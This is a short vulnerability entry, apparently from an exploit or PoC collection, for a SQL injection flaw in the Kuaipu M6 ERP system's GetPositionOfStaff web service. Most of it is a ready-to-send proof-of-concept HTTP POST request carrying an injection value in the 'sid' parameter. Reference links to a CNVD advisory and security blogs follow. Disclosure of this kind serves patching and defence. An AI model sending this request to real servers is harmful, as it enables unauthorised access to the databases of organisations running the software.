Description
快普M6 GetPositionOfStaff 存在SQL注入漏洞
快普M6 GetPositionOfStaff存在SQL注入漏洞
PoC
POST /WebService/StaffService.asmx/GetPositionOfStaff HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
sid=-1/user
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://www.cnvd.org.cn/flaw/show/CNVD-2021-09667
https://ddpoc.com/DVB-2025-10099.html
https://cn-sec.com/archives/5109097.html
https://www.gm7.org/archives/55858
https://www.wlaqsys.com/archives/12787
https://mrxn.net/jswz/kuaipu-WebService-StaffService-GetPositionOfStaff-sqli.html
http://zone.ci/secarticles/wx/511050.html